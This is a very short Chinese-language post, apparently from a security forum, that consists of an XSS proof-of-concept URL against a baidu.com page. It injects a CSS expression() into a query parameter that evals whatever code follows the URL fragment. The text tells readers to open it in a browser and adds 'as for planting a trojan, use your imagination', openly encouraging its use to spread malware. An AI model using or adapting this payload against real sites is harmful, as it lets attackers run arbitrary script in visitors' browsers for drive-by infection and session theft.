直接浏览器访问即可，至于挂马吗？自己发挥吧。

http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1);#alert%28121212%29